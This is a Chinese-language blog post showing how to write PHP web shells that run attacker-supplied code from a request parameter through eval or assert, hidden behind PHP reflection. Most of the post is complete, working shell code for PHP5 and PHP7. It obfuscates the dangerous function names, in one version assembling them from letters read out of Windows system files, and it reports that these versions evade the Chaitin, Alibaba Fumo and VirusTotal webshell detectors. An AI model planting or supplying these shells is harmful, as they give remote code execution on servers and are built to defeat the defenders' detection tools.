/1dreamGN/Blog

1dreamGN

PHP_WebShell_反射Bypass

53
2025-06-21

前言

之前在研究Java内存马的时候,反射机制是必不可少的,通过反射可调用任意方法。于是在想是否PHP的webshell是否也可以使用反射机制来写,于是乎就用反射来修改普通的PHP一句话webshell。

PHP5版本

这是普通的PHP一句话:

<?php @eval($_POST['shell']);?>

接下来,使用反射来写webshell,先写一个恶意class用于反射调用:

<?php
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this->var2 = "var1";
        $var2 = 'assert';
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}

然后使用反射调用该class类:

<?php
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    // 创建一个Command类的实例
    $instance = new Command();
    // 创建一个反射类对象,用于检查和操作Command类
    $reflectionClass = new ReflectionClass('Command');
    // 获取实例中command属性的反射对象
    // 注意:$instance->command尝试访问公共属性command的值,这个值被用作字符串来查找属性
    $reflectionProperty = $reflectionClass->getProperty($instance->var2);
    // 设置反射属性为可访问,即使它是私有或受保护的
    $reflectionProperty->setAccessible(true);
    // 从实例中获取该属性的实际值(通常是一个闭包函数)
    $command = $reflectionProperty->getValue($instance);
    // 创建一个反射函数对象,用于检查和调用函数
    $reflectionMethod = new ReflectionFunction($command);
    // 调用获取的函数,并传入$param参数(通常是从请求中获取的代码)
    $result = $reflectionMethod->invoke($param);
    echo $result;
}

接下来,将这两段代码结合:

<?php
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    $instance = new Command();
    $reflectionClass = new ReflectionClass('Command');
    $reflectionProperty = $reflectionClass->getProperty($instance->var2);
    $reflectionProperty->setAccessible(true);
    $command = $reflectionProperty->getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this->var2 = "var1";
        $var2 = 'assert';
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?>

这个虽然可以执行,但是过不了长亭webshell和阿里伏魔webshell的检测。

那继续修改,先后将$var2 = 'assert';修改成$var2 = 'ass'.'ert';也不行,但是改成$var2 = 'ss'.'ert';可以绕过,但是不能执行代码了呀。

那么可以定义一个新的变量,比如$var3="a"。。。。。

不用想,肯定不行,但是可以另辟蹊径,使用define设置全局变量:

define('var3','a');

然后将var3拼接到 'ss'.'ert';,就等于$var2 = var3.'ss'.'ert';,那现在直接修改代码:

<?php
// error_reporting(0);
$pass = "gowninng";
define('var3','a');

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    $instance = new Command();
    $reflectionClass = new ReflectionClass('Command');
    $reflectionProperty = $reflectionClass->getProperty($instance->var2);
    $reflectionProperty->setAccessible(true);
    $command = $reflectionProperty->getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this->var2 = "var1";
        $var2 = var3.'ss'.'ert';
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?>

来尝试一下执行phpinfo,ok没问题。

那试试上传长亭伏魔和virustotal,伏魔和virustotal随便过,长亭第一次过了,后面再传上去突然能识别木马了。。。

那好,既然define这个思路可以过部分检测的话,就顺着define修改,既然拼接行不通,那就是不能在该代码中有完整的assert字段,可以试着修改define的字段,首先先尝试以下代码:

<?php
define('var3','a'.'ss'.'et');
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    $instance = new Command();
    $reflectionClass = new ReflectionClass('Command');
    $reflectionProperty = $reflectionClass->getProperty($instance->var2);
    $reflectionProperty->setAccessible(true);
    $command = $reflectionProperty->getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this->var2 = "var1";
        $var2 = var3;
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?>

define('var3','a'.'ss'.'et'); 少一个r。

既然少字段可以绕过检测,那么,是不是可以尝试从外部获取字母并拼接成assert呢?当然可以,从C:\Windows\System32\drivers\etc文件中获取a s s e r t六个字母拼接并赋值到全局变量:

//全局变量 从C:\Windows\System32\drivers\etc文件中获取g e t三个字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
    if ($file != '.' && $file != '..') {
        $content .= file_get_contents("$etcDir/$file");
        if (strlen($content) > 100) break; // 防止读取太多内容
    }
}
$a = ''; $s = ''; $e = ''; $r = ''; $t = '';
for ($i = 0; $i < strlen($content); $i++) {
    $char = strtolower($content[$i]);
    if ($char == 'a' && empty($a)) $a = $char;
    if ($char == 's' && empty($s)) $s = $char;
    if ($char == 'e' && empty($e)) $e = $char;
    if ($char == 'r' && empty($r)) $r = $char;
    if ($char == 't' && empty($t)) $t = $char;
    if (!empty($a) && !empty($s) && !empty($e) && !empty($r) && !empty($t)) break;
}
define("var3", $a . $s . $s. $e . $r . $t);

完整代码:

<?php
// error_reporting(0);
//全局变量 从C:\Windows\System32\drivers\etc文件中获取g e t三个字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
    if ($file != '.' && $file != '..') {
        $content .= file_get_contents("$etcDir/$file");
        if (strlen($content) > 100) break; // 防止读取太多内容
    }
}
$a = ''; $s = ''; $e = ''; $r = ''; $t = '';
for ($i = 0; $i < strlen($content); $i++) {
    $char = strtolower($content[$i]);
    if ($char == 'a' && empty($a)) $a = $char;
    if ($char == 's' && empty($s)) $s = $char;
    if ($char == 'e' && empty($e)) $e = $char;
    if ($char == 'r' && empty($r)) $r = $char;
    if ($char == 't' && empty($t)) $t = $char;
    if (!empty($a) && !empty($s) && !empty($e) && !empty($r) && !empty($t)) break;
}
define("var3", $a . $s . $s. $e . $r . $t);
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    $instance = new Command();
    $reflectionClass = new ReflectionClass('Command');
    $reflectionProperty = $reflectionClass->getProperty($instance->var2);
    $reflectionProperty->setAccessible(true);
    $command = $reflectionProperty->getValue($instance);
    $reflectionMethod = new ReflectionFunction($command);
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $var1;
    public $var2;

    public function __construct() {
        $this->var2 = "var1";
        $var2 = var3;
        $this->var1 = function ($param) use ($var2) {
            return call_user_func($var2, $param . 'exit();//');
        };
    }
}
?>

直接绕过,那么有同学会说,assert这样赋值的话,php7以上能好使么?当然不好使,在 PHP 7.2+ 版本中,assert() 不再支持字符串参数动态求值,所有以下报错:

所以我们要改class类的代码了,直接让assert或者eval直接在代码中作为方法引用。

PHP7版本

首先,要修改Command类的代码:

class Command {
    private $get;
    public $command;
    public function __construct() {
        $this->command = var3;
        $this->get = function ($param) {  return eval($param.'exit();//'); };
    }
}

既然将eval写到代码中了,就不用再通过外部文件获取代码执行的方法名称了,但是根据上面的反射代码条件,反射是访问公共属性command的值,现在$this->command = var3,我们就要赋值全局变量var3为get三个字母,才能调用$this->get属性的实际值,这个值为function ($param) { return eval($param.'exit();//'); }; ,通过创建一个反射函数对象反射该无命名方法并传入参数。

接下来贴上完整代码:

<?php
// error_reporting(0);
//全局变量 从C:\Windows\System32\drivers\etc文件中获取字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
    if ($file != '.' && $file != '..') {
        $content .= file_get_contents("$etcDir/$file");
        if (strlen($content) > 100) break; // 防止读取太多内容
    }
}
$g = ''; $e = ''; $t = '';
for ($i = 0; $i < strlen($content); $i++) {
    $char = strtolower($content[$i]);
    if ($char == 'g' && empty($g)) $g = $char;
    if ($char == 'e' && empty($e)) $e = $char;
    if ($char == 't' && empty($t)) $t = $char;
    if (!empty($g) && !empty($e) && !empty($t)) break;
}
define("var3", $g . $e . $t);
$pass = "gowninng";

if(isset($_REQUEST[$pass])){
    $param = $_REQUEST[$pass];
    // 创建一个Command类的实例
    $instance = new Command();
    // 创建一个反射类对象,用于检查和操作Command类
    $reflectionClass = new ReflectionClass('Command');
    // 获取实例中command属性的反射对象
    // 注意:$instance->command尝试访问公共属性command的值,这个值被用作字符串来查找属性
    $reflectionProperty = $reflectionClass->getProperty($instance->command);
    // 设置反射属性为可访问,即使它是私有或受保护的
    $reflectionProperty->setAccessible(true);
    // 从实例中获取该属性的实际值(通常是一个闭包函数)
    $command = $reflectionProperty->getValue($instance);
    // 创建一个反射函数对象,用于检查和调用函数
    $reflectionMethod = new ReflectionFunction($command);
    // 调用获取的函数,并传入$param参数(通常是从请求中获取的代码)
    $result = $reflectionMethod->invoke($param);
    echo $result;
}
class Command {
    private $get;
    public $command;
    public function __construct() {
        $this->command = var3;
        $this->get = function ($param) {  return eval($param.'exit();//'); };
    }
}
?>

我们尝试下执行phpinfo,没毛病。

接下来过一下检测,同样没问题。

get这三个字母也可以通过获取文件名等方式获取,比如将该webshell文件改成get.php只获取get字段,还有很多方法绕过,同样可以改成蚁剑加载器等,不一一讲述。